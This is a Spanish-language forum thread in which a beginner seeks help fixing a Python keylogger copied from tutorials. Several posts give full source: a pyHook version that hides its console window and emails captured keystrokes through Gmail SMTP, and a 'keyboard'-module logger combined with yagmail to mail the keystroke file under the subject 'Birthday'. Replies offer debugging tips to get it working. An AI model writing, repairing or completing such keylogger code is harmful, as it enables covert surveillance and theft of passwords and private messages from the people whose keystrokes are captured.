Autor
|
Tema: Problema con Keylogger en Python (No envía el log) (Leído 8,819 veces)
|
TheFerret
Desconectado
Mensajes: 44
|
Estoy empezando en el mundo de Python y he decidido seguir este pequeño tutorial para hacer un simple Keylogger que envía las capturas al correo electrónico: http://www.pythondiario.com/2017/05/como-crear-un-keylogger-remoto-con.htmlEl problema viene cuando al alcanzar los caracteres establecidos para que se envíe el log a mi correo, llega un correo vacío, sin asunto, solo con la palabra "capturado" Adjunto código: #!/usr/bin/env python # -*- coding: utf-8 -*- import win32console import win32gui import pythoncom,pyHook import time import smtplib import os import sys # www.pythondiario.com ######################################################## # CONFIGURAR VARIABLES ######################################################## win = win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) #crea el archivo .txt f=open("c:\output.txt","w+") f.close #Variable que cuenta las tecas presionadas count = 0 ######################################################## # FUNCIONES ######################################################## def send_email(message): try: # Datos fromaddr = 'correo@gmail.com' toaddrs = 'correo@gmail.com' username = 'correo@gmail.com' password = 'contraseña' # Enviando el correo server = smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(username,password) server.sendmail(fromaddr, toaddrs, message) server.quit() except: pass def OnKeyboardEvent(event): global count count += 1 #presiona CTRL+E para salir if event.Ascii==5: sys.exit(0) if event.Ascii !=0 or 8: #abre output.txt f=open('c:\output.txt','r+') buffer=f.read() f.close() if len(buffer)==1: send_email("Arranco...") if count ==100: #Envia los ultimos 500 caracteres capturado = buffer[-100:].replace("\n"," ") send_email("capturado") count = 0 #abre output.txt escribe y suma nuevas pulsaciones f=open('c:\output.txt','w') keylogs=chr(event.Ascii) #si se presiona ENTER if event.Ascii==13: keylogs='\n' #si se preciona ESPACIO if event.Ascii==32: keylogs='' buffer+=keylogs f.write(buffer) f.close() # crea el objeto hook manager hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent # set the hook hm.HookKeyboard() # wait forever pythoncom.PumpMessages()
Del código original de la web, he modificado 'elif' por 'if' pues de lo contrario ni me envía el mensaje, '(capturado)' por '("capturado")', y he reducido el envío de fichero a la pulsación de 100 caracteres. Bueno y he cambiado el correo y la contraseña por motivos evidentes. ¿Sabéis que está fallando? Mil gracias de antemano
|
|
|
En línea
|
|
|
|
Segadorfelix
Desconectado
Mensajes: 157
|
Probaste send_email(capturado) en vez de send_email("capturado").
No lo analice del todo, pero puede ser eso. Que envíe el string capturado y no los datos almacenados en capturado.
PD: Acabo de leer el final. Prueba, por partes, primero, si almacena correctamente los datos, imprimiendolos en consola, en lugar de enviarlos. Si lo hace, allí no esta el problema.
O Averiguar si server, posee alguna restricción con el tipo de dato o el tamaño.
|
|
« Última modificación: 12 Abril 2019, 17:52 pm por Segadorfelix »
|
En línea
|
|
|
|
TheFerret
Desconectado
Mensajes: 44
|
He cambiado win32gui.ShowWindow(win,0)
a win32gui.ShowWindow(win,1)
para que me muestre los errores en la terminal y me sale este error, el cual no consigo solucionar en estos momentos: event = KeyboardEvent(msg, vk_code, scan_code, ascii, flags, time, hwnd, win_name) SystemError: <class 'pyHook.HookManager.KeyboardEvent'> returned a result with an error set TypeError: an integer is required (got type NoneType)
Lo que he buscado sobre el error no me ha aclarado mucho, si tienes alguna idea es de agradecer!
|
|
|
En línea
|
|
|
|
Segadorfelix
Desconectado
Mensajes: 157
|
Recomendaría que volvieras al código original. Por dos razones: *El elif debería funcionar si el valor buffer aumenta correctamente. *El '(capturado)' debe enviar la variable. Mientras que el '("capturado")' envía un el string "capturado", por eso solo llega esa palabra. No eliminar el código 'modificado'. Sino probar ambos y ver resultados. Coloca print(buffer), print(message) y print(count). En varias zonas del codigo, para ver por consola, si realmente están cambiando como deberían, lo cual supongo que no, alguna variable debe estar fallando. No creo que el modulo para enviar mensajes, falle, ya que llega al menos un mensaje. Si ya has probado con seriedad todo lo anterior, entonces prueba si hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent # set the hook hm.HookKeyboard()
requiere algun valor numérico. f=open("c:\output.txt","w+") f.close
También, sería bueno (aunque no creo que altere el error), cambiar f.close a f.close() Por ultimo, si es por tener un Keylogger funcional y este código sigue fallando, puedes ver los últimos comentarios del link de phytondiario, en donde colocan otros códigos. Y también en la red, hay keylogger en python cuantos, se quieran.
|
|
|
En línea
|
|
|
|
TheFerret
Desconectado
Mensajes: 44
|
Vuelvo al código original; *El elif vuelve a donde estaba anteriormente *La variable vuelve a ser '(capturado)' -Sí, el mensaje llega o llegaba hasta ahora, de todas formas he probado otro módulo de mensajes anteriormente como alternativa y funciona también, el problema no debe estar ahí.. -He colocado print en varias zonas del código con las variables que me comentas y me salta un error por cada una de ellas con "NameError: name 'buffer' is not defined" -Me ha llegado el primer error de Sintaxis del código original: capturado = buffer[-500:].replace("\n"," ^ SyntaxError: EOL while scanning string literal
Interpreto que quería poner un replace("\n"," ") para que los espacios no sean legibles. Con permiso corrijo eso para que pueda continuar corriendo el código. Perdona mi ignorancia, pero cómo compruebo si requiere un valor numérico? *Cambiado f.close a f.close() -Sí, soy consciente, pero mi idea aparte de tener un keylogger funcional, es aprender código para entenderlo poco a poco, y que menos, que tratando de hacer uno y que salga para adelante... -Muchas gracias de antemano por todo EDITO: El print(count) funciona sin darme error; pero se queda a 0. El problema es que al pulsar cualquier tecla salta esto: Traceback (most recent call last): File "C:\Users\Andrés\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pyHook\HookManager.py", line 348, in KeyboardSwitch event = KeyboardEvent(msg, vk_code, scan_code, ascii, flags, time, hwnd, win_name) SystemError: <class 'pyHook.HookManager.KeyboardEvent'> returned a result with an error set
|
|
« Última modificación: 13 Abril 2019, 06:07 am por TheFerret »
|
En línea
|
|
|
|
TheFerret
Desconectado
Mensajes: 44
|
Vuelvo al código original; *El elif vuelve a donde estaba anteriormente *La variable vuelve a ser '(capturado)' -Sí, el mensaje llega o llegaba hasta ahora, de todas formas he probado otro módulo de mensajes anteriormente como alternativa y funciona también, el problema no debe estar ahí.. -He colocado print en varias zonas del código con las variables que me comentas y me salta un error por cada una de ellas con "NameError: name 'buffer' is not defined" -Me ha llegado el primer error de Sintaxis del código original: capturado = buffer[-500:].replace("\n"," ^ SyntaxError: EOL while scanning string literal
Interpreto que quería poner un replace("\n"," ") para que los espacios no sean legibles. Con permiso corrijo eso para que pueda continuar corriendo el código. Perdona mi ignorancia, pero cómo compruebo si requiere un valor numérico? *Cambiado f.close a f.close() -Sí, soy consciente, pero mi idea aparte de tener un keylogger funcional, es aprender código para entenderlo poco a poco, y que menos, que tratando de hacer uno y que salga para adelante... -Muchas gracias de antemano por todo EDITO: El print(count) funciona sin darme error; pero se queda a 0. El problema es que al pulsar cualquier tecla salta esto: Traceback (most recent call last): File "C:\Users\Andrés\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pyHook\HookManager.py", line 348, in KeyboardSwitch event = KeyboardEvent(msg, vk_code, scan_code, ascii, flags, time, hwnd, win_name) SystemError: <class 'pyHook.HookManager.KeyboardEvent'> returned a result with an error set
El fallo al parecer se encuentra en el módulo de PyHook en Python3. Técnicamente en Python 2 debería funcionar sin problemas según he leído.Para no abrir otro tema prosigo aquí. He cambiado el código por el de este tutorial que usa otro módulo:Keyboard. https://recursospython.com/codigos-de-fuente/keylogger-para-windows-y-linux/Y he añadido usando el módulo yagmail un script para que envíe un correo con el fichero. Funcionan bien....por separado.Si ejecuto primero el script de recursospython y después el script de yagmail funciona sin problemas. Pero en cuanto uno ambos script en uno solo, deja de funcionar. Soluciones? Código añadido: from functools import partial import atexit import os import keyboard import time, datetime import smtplib import yagmail import sys yag = yagmail.SMTP('correo@gmail.com', 'contraseña') yag img = "C:/Users/Andrés/Desktop/keys.txt" yag.send('correo@gmail.com', "Birthday", contents = [img])
|
|
|
En línea
|
|
|
|
|
Segadorfelix
Desconectado
Mensajes: 157
|
El fallo al parecer se encuentra en el módulo de PyHook en Python3. Técnicamente en Python 2 debería funcionar sin problemas según he leído.Para no abrir otro tema prosigo aquí. He cambiado el código por el de este tutorial que usa otro módulo:Keyboard. https://recursospython.com/codigos-de-fuente/keylogger-para-windows-y-linux/Y he añadido usando el módulo yagmail un script para que envíe un correo con el fichero. Funcionan bien....por separado.Si ejecuto primero el script de recursospython y después el script de yagmail funciona sin problemas. Pero en cuanto uno ambos script en uno solo, deja de funcionar. Soluciones? Código añadido: from functools import partial import atexit import os import keyboard import time, datetime import smtplib import yagmail import sys yag = yagmail.SMTP('correo@gmail.com', 'contraseña') yag img = "C:/Users/Andrés/Desktop/keys.txt" yag.send('correo@gmail.com', "Birthday", contents = [img])
Sé que podría se que lo que voy a pedir puede parecer innecesario. Pero, podrías postear. Los dos scripts a parte, que funcionan. Y luego el script 'completo' que falla. Así, sería más sencillo fijarse que es lo que falla. Si es que al definir cierta variable en uno, afecta al otro, o cambia la forma en la que lee los datos, por ejemplo.
|
|
|
En línea
|
|
|
|
yuimugi912
Desconectado
Mensajes: 20
|
segun leo en stackoverflow debes ponerle un return 0; a la funcion OnKeyboardEvent(event): podrias probar
|
|
« Última modificación: 20 Abril 2019, 23:49 pm por yuimugi912 »
|
En línea
|
|
|
|
TheFerret
Desconectado
Mensajes: 44
|
Sé que podría se que lo que voy a pedir puede parecer innecesario. Pero, podrías postear. Los dos scripts a parte, que funcionan.
Y luego el script 'completo' que falla.
Así, sería más sencillo fijarse que es lo que falla. Si es que al definir cierta variable en uno, afecta al otro, o cambia la forma en la que lee los datos, por ejemplo.
PRIMER SCRIPT: #!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2013-2017 Recursos Python # www.recursospython.com # from functools import partial import atexit import os import keyboard import yagmail MAP = { "space": " ", "\r": "\n" } # Ubicación y nombre del archivo que guarda las teclas presionadas. FILE_NAME = "keys.txt" # Determina si el archivo de salida es limpiado cada vez que se # inicia el programa. CLEAR_ON_STARTUP = False # Tecla para terminar el programa o None para no utilizar ninguna tecla. TERMINATE_KEY = "esc" def callback(output, is_down, event): if event.event_type in ("up", "down"): key = MAP.get(event.name, event.name) modifier = len(key) > 1 # Capturar únicamente los modificadores cuando están siendo # presionados. if not modifier and event.event_type == "down": return # Evitar escribir múltiples veces la misma tecla si está # siendo presionada. if modifier: if event.event_type == "down": if is_down.get(key, False): return else: is_down[key] = True elif event.event_type == "up": is_down[key] = False # Indicar si está siendo presionado. key = " [{} ({})] ".format(key, event.event_type) elif key == "\r": # Salto de línea. key = "\n" # Escribir la tecla al archivo de salida. output.write(key) # Forzar escritura. output.flush() def onexit(output): output.close() def main(): # Borrar el archivo previo. if CLEAR_ON_STARTUP: os.remove(FILE_NAME) # Indica si una tecla está siendo presionada. is_down = {} # Archivo de salida. output = open(FILE_NAME, "a") # Cerrar el archivo al terminar el programa. atexit.register(onexit, output) # Instalar el registrador de teclas. keyboard.hook(partial(callback, output, is_down)) keyboard.wait(TERMINATE_KEY) if __name__ == "__main__": main()
SEGUNDO SCRIPT: from functools import partial import atexit import os import keyboard import time, datetime import smtplib import yagmail import sys yag = yagmail.SMTP('correo@gmail.com', 'contraseña') yag img = "C:/Users/Andrés/Desktop/keys.txt" yag.send('correo@gmail.com', "Birthday", contents = [img]) if __name__ == "__main__": main()
AMBOS SCRIPT JUNTOS: #!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2013-2017 Recursos Python # www.recursospython.com # from functools import partial import atexit import os import keyboard import yagmail MAP = { "space": " ", "\r": "\n" } # Ubicación y nombre del archivo que guarda las teclas presionadas. FILE_NAME = "keys.txt" # Determina si el archivo de salida es limpiado cada vez que se # inicia el programa. CLEAR_ON_STARTUP = False # Tecla para terminar el programa o None para no utilizar ninguna tecla. TERMINATE_KEY = "esc" def callback(output, is_down, event): if event.event_type in ("up", "down"): key = MAP.get(event.name, event.name) modifier = len(key) > 1 # Capturar únicamente los modificadores cuando están siendo # presionados. if not modifier and event.event_type == "down": return # Evitar escribir múltiples veces la misma tecla si está # siendo presionada. if modifier: if event.event_type == "down": if is_down.get(key, False): return else: is_down[key] = True elif event.event_type == "up": is_down[key] = False # Indicar si está siendo presionado. key = " [{} ({})] ".format(key, event.event_type) elif key == "\r": # Salto de línea. key = "\n" # Escribir la tecla al archivo de salida. output.write(key) # Forzar escritura. output.flush() def onexit(output): output.close() def main(): # Borrar el archivo previo. if CLEAR_ON_STARTUP: os.remove(FILE_NAME) # Indica si una tecla está siendo presionada. is_down = {} # Archivo de salida. output = open(FILE_NAME, "a") # Cerrar el archivo al terminar el programa. atexit.register(onexit, output) # Instalar el registrador de teclas. keyboard.hook(partial(callback, output, is_down)) keyboard.wait(TERMINATE_KEY) yag = yagmail.SMTP('correo@gmail.com', 'contraseña') yag img = "C:/Users/Andrés/Desktop/keys.txt" yag.send('correo@gmail.com', "Birthday", contents = [img]) if __name__ == "__main__": main()
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
[Python] Kaley, Keylogger simple en Python
Scripting
|
Fyrox
|
0
|
7,352
|
21 Septiembre 2011, 23:24 pm
por Fyrox
|
|
|
[Python] Simple Keylogger
Scripting
|
BigBear
|
0
|
4,211
|
7 Octubre 2011, 01:38 am
por BigBear
|
|
|
problema con creacion de keylogger python!!
Scripting
|
eliander20
|
0
|
2,408
|
17 Septiembre 2016, 11:07 am
por eliander20
|
|
|
BeeLogger|KEYLOGGER|PYTHON|
Hacking
|
d0r127
|
7
|
10,809
|
4 Diciembre 2017, 06:38 am
por T1cxT4c
|
|
|
Mejorar el keylogger PYTHON
Scripting
|
botters
|
0
|
2,026
|
13 Febrero 2019, 03:07 am
por botters
|
|